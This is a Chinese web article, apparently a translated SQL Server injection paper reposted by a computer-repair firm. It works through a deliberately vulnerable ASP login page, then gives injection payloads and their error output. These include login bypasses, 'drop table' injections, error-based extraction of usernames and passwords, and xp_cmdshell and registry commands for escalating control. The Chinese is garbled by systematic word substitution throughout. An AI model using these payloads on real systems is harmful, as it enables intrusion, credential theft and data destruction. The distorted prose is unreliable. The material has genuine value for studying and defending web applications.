设为主页 | 加入收藏 | 繁體中文

SQL Server应用程序高级SQL注入预防入侵

  择要:
  这份文档是详细讨论SQL注入技术,它顺应于比力盛行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过种种各样的要领注入到应用步伐中,而且记载与打击相关的数据确认和数据库锁定。
  这份文档的预期读者为与数据库通讯的WEB步伐的开辟者和那些饰演审核WEB应用步伐的安全专家。
  先容:
  SQL是一种用于干系数据库的结构化查询语言。它分为很多种,但大少数都疏松地基于美国国家尺度化构造最新的尺度SQL-92。典型的实行语句是query,它能够收集比力有达标性的记载并返回一个单一的结果集。SQL语言可以修改数据库结构(数据界说语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
  当一个打击者能够通过往query中拔出一系列的sql语句来操作数据写入到应用步伐中去,我们管这种要领界说成SQL注入。
  一个典型的SQL语句如下:
  Select id,forename,surname from authors
  这条语句将返回authors表中全部行的id,forename和surname列。这个结果可以被限定,比方:
  Select id,forename,surname from authors where forename'john' and surname='smith'
  必要偏重指明的是字符串'john'和'smith'被单引号限定。明确的说,forename和surname字段是被用户提供的输入限定的,打击者可以通过输入值来往这个查询中注入一些SQL语句,
  如下:
  Forename:jo'hn
  Surname:smith
  查询语句变为:
  Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
  当数据库试图去实行这个查询时,它将返回如下错误:
  Server:Msg 170, Level 15, State 1, Line 1
  Line 1:Incorrect syntax near 'hn'
  造成这种结果的缘故原由是拔出了.作为定界符的单引号。数据库尝试去实行'hn',但是失败。要是打击者提供特别的输入如:
  Forename:jo';drop table authors—
  Surname:
  结果是authors表被删除,造成这种结果的缘故原由我们稍后再讲。
  看上去好象通过从输入中去掉单引号或者通过某些要领避免它们都可以办理这个问题。这是可行的,但是用这种要领做办理要领会存在几个困难。第一,并不是全部用户提供的数据都是字符串。要是用户输入的是通过用户id来查询author,那我们的查询应该像这样:
  Select id,forename,surname from authors where id=1234
  在这种情况下,一个打击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用种种各样的限定标记;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号只管看上去可以,但是是没须要的,缘故原由我们稍后再讲。
  我们更进一阵势使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库而且尝试鉴别进入一些假造的应用步伐的权限。
  这是一个提交表单页的代码,让用户输入用户名和暗码:
 
 
  Login Page
 
 
 
 

Login


 

 
 
 
 
Username:
Password:

 
 

 

 
 
  下面是process_login.asp的代码,它是用来控制登陆的:
 
 
 
 
  <%@LANGUAGE = JScript %>
  <%
  function trace( str ) {
  if( Request.form("debug") == "true" )
  Response.write( str );
  }
  function Login( cn ) {
  var username;
  var password;
  username = Request.form("username");
  password = Request.form("password");
  var rso = Server.CreateObject("ADODB.Recordset");
  var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
  rso.open( sql, cn );
  if (rso.EOF) {
  rso.close();
  %>
 
 




 
ACCESS DENIED

 


 
 
  <% Response.end return; }
  else {
  Session("username") = "" + rso("username");
  %>
 
 

ACCESS GRANTED


  Welcome, <% Response.write(rso("Username")); Response.write( "" ); Response.end }
  }
  function Main() { //Set up connection
  var username
  var cn = Server.createobject( "ADODB.Connection" );
  cn.connectiontimeout = 20;
  cn.open( "localserver", "sa", "password" );
  username = new String( Request.form("username") );
  if( username.length > 0) {
  Login( cn );
  }
  cn.close();
  }
  Main();
  %>
  呈现问题的地方是process_lgin.asp中产生查询语句的部分:
  Var sql="select * from users where username='"+username+"' and password='"+password+"'";
  要是用户输入的信息如下:
  Username:';drop table users—
  Password:
  数据库中表users将被删除,拒绝任何用户进入应用步伐。'—'标记在Transact-SQL中表示忽略'—'以后的语句,';'标记表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必需的,它为了使这个特别的查询终止,而且不返回错误。
  打击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
  Username:admin'—
  打击者可以使用users表中第一个用户,输入如下:
  Username:' or 1=1—
  更特别地,打击者可以使用完全假造的用户登陆,输入如下:
  Username:' union select 1,'fictional_user','some_password',1—
  这种结果的缘故原由是应用步伐信赖打击者指定的是从数据库中返回结果的一部分。
  通不对误消息失掉信息
  这个几乎是David Litchfield起首发现的,而且通过作者渗透测试的;厥后David写了一份文档,厥后作者参考了这份文档。这些表明讨论了‘错误消息‘潜伏的机制,使读者能够完全地了解它,潜伏地引发他们的本领。
  为了操作数据库中的数据,打击者必需确定某些数据库和某些表的结构。比方我们可以使用如下语句创建user表:
  Create talbe users(
  Id int,
  Username varchar(255),
  Password varchar(255),
  Privs int
  )
  然后将下面的用户拔出到users表中:
  Insert into users values(0,'admin','r00tr0x!',0xffff)
  Insert into users values(0,'guest','guest',0x0000)
  Insert into users values(0,'chris','password',0x00ff)
  Insert into users values(0,'fred','sesame',0x00ff)
  要是我们的打击者想拔出一个自己的用户。在不知道users表结构的情况下,他不行能乐成。即使他比力荣幸,至于privs字段不明白。打击者大概拔出一个'1',这样只给他自己一个低权限的用户。
  荣幸地,要是从应用步伐(默许为ASP举动)返回错误消息,那么打击者可以确定整个数据库的结构,而且可以以步伐中连接SQLSERVER的权限度曲任何值。
  (下面以一个简单的数据库和asp剧本来举例说明他们是怎么工作的)
  起首,打击者想失掉建立用户的表的名字和字段的名字,要做这些,打击者必要使用select语法的having子句:
  Username:' having 1=1—
  这样将会呈现如下错误:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
  /process_login.asp, line 35
  因而现在打击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:
  Username:' group by users.id having 1=1—
  呈现的错误如下:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
  /process_login.asp, line 35
  最终打击者失掉了username字段后:
  ‘ group by users.id,users.username,users.password,users.privs having 1=1—
  这句话并不产生错误,相当于:
  select * from users where username=''
  因而打击者现在知道查询触及users表,按顺序使用列'id,username,password,privs'。
  能够确定每个列的类型黑白常有用的。这可以通过使用类型转化来实现,比方:
  Username:' union select sum(username) from users—
  这使用了SQLSERVER在确定两个结果集的字段是否相称前应用sum子句。尝试去计算sum会失掉以下消息:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  /process_login.asp, line 35
  这报告了我们'username'字段的类型是varchar。要是是另一种情况,我们尝试去计算sum()的是数字类型,我们失掉的错误消息报告我们两个聚集的字段数目不相称。
  Username:' union select sum(id) from users—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
  [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
  /process_login.asp, line 35
  我们可以用这种技术类似地确定命据库中任何表中的任何字段的类型。
  这样打击者就可以写一个好的insert查询,比方:
  Username:';insert into users values(666,'attacker','foobar','0xffff)—
  这种技术的潜伏影响不但仅是这些。打击者可以使用这些错误消息表现情况信息或数据库。通过运转一列一定格式的字符串可以失掉尺度的错误消息:
  select * from master ..sysmessages
  表明这些将实现有趣的消息。
  一个特别有用的消息干系到类型转化。要是你尝试将一个字符串转化成一个整型数字,那么字符串的全部内容会返回到错误消息中。比方在我们简单的登陆页面中,在username背面会表现出SQLSERVER的版本和所运转的操作系统信息:
  Username:' union select @@version,1,1,1—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
  /process_login.asp, line 35
  这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字。
  这种技术可以用来读取数据库中任何表的任何值。自从打击者对用户名和用户暗码比力感兴趣后,他们比力喜好去从users表中读取用户名,比方:
  Username:' union select min(username),1,1,1 from users where username>'a'—
  这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
  /process_login.asp, line 35
  因而打击者已经知道用户admin是存在的。这样他就可以反复通过使用where子句和查询到的用户名去探求下一个用户。
  Username:' union select min(username),1,1,1 from users where username>'admin'—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
  /process_login.asp, line 35
  一旦打击者确定了用户名,他就可以开始收集暗码:
  Username:' union select password,1,1,1 from users where username='admin'—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
  /process_login.asp, line 35
  一个更初级的技术是将全部用户名和暗码连接长一个独自的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不转变雷同的行的意思的情况下把它们连接起来。下面的剧本将把值连接起来:
  begin declare @ret varchar(8000)
  set @ret=':'
  select @ret=@ret+'  '+username+'/'+password from users where
  username>@ret
  select @ret as ret into foo
  end
  打击者使用这个当作用户名登陆(都在一行)
  Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
  这就创建了一个foo表,内里只有一个独自的列'ret',内里寄存着我们失掉的用户名和暗码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建暂时数据库。
  然后打击者就可以获得我们要失掉的字符串:
  Username:' union select ret,1,1,1 from foo—
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
  /process_login.asp, line 35
  然后抛弃(删除)表来明白脚迹:
  Username:'; drop table foo—
  这个例子仅仅是这种技术的一个表面的作用。没须要说,要是打击者能够从数据库中失掉足够的错误西,他们的工作就变的无限简单。
  失掉更高的权限
  一旦打击者控制了数据库,他们就想使用那个权限去失掉网络上更高的控制权。这可以通过很多途径来到达:
  1. 在数据库办事器上,以SQLSERVER权限使用xp_cmdshell扩展存储过程实行下令。
  2. 使用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER因而系统权限运转的)
  3. 使用其他存储过程去转变办事器
  4. 在连接的办事器上实行查询
  5. 创建客户扩展存储过程去在SQLSERVER进程中实行溢出代码
  6. 使用'bulk insert'语法去读办事器上的恣意文件
  7. 使用bcp在办事器上建立恣意的文本格式的文件
  8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用步伐,使它能做任何ASP剧本可以做的事情
  这些只枚举了非常普通的大概打击要领的大批,打击者很大概使用其它要领。我们先容收集到的打击关于SQL办事器的明显打击要领,为了说明哪方面大概并被授予权限去注入SQL.。我们将依次处置惩罚以上提到的种种要领:
  [xp_cmdshell]
  很多存储过程被创建在SQLSERVER中,实行种种各样的功能,比方发送电子邮件和与注册表交互。
  Xp_cmdshell是一个容许实行恣意的下令行下令的内置的存储过程。比方:
  Exec master..xp_cmdshell 'dir'
  将失掉SQLSERVER进程的以后工作目次中的目次列表。
  Exec master..xp_cmdshell 'net user'
  将提供办事器上全部用户的列表。当SQLSERVER正常以系统帐户或域帐户运转时,打击者可以做出更严重的危害。
  [xp_regread]
  另一个有用的内置存储过程是xp_regXXXX类的函数聚集。
  Xp_regaddmultistring
  Xp_regdeletekey
  Xp_regdeletevalue
  Xp_regenumkeys
  Xp_regenumvalues
  Xp_regread
  Xp_regremovemultistring
  Xp_regwrite
  这些函数的使用要领举比方下:
  exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
  这将确定什么样的会话连接在办事器上是可以使用的
  exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
  这将表现办事器上全部SNMP集团设置装备摆设。在SNMP集团很少被更改和在很多主机间共享的情况下,有了这些信息,打击者大概会重新设置装备摆设同一网络中的网络设置装备摆设。
  这很容易想象到一个打击者可以使用这些函数读取SAM,修改系统办事的设置装备摆设,使它下次呆板重启时启动,或在下次任何用户登陆时实行一条恣意的下令。
  [其他存储过程]
  xp_servicecontrol过程容许用户启动,制止,暂停和继续办事:
  exec master..xp_servicecontrol 'start','schedule'
  exec master..xp_servicecontrol 'start','server'
  下表中列出了大批的其他有用的存储过程:
  Xp_availablemedia 表现呆板上有用的驱动器
  Xp_dirtree 容许失掉一个目次树
  Xp_enumdsn 枚举办事器上的ODBC数据源
  Xp_loginconfig Reveals information about the security mode of the server
  Xp_makecab 容许用户在办事器上创建一个压缩文件
  Xp_ntsec_enumdomains 枚举办事器可以进入的域
  Xp_terminate_process 提供进程的进程ID,终止此进程
  [Linked Servers]
  SQL SERVER提供了一种容许办事器连接的机制,也就是说容许一台数据库办事器上的查询能够操作另一台办事器上的数据。这个链接寄存在master.sysservers表中。要是一个连接的办事器已经被设置成使用'sp_addlinkedsrvlogin'过程,以后可信的连接不用登陆就可以访问到办事器。'openquery'函数容许查询离开办事器也可以实行。

    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: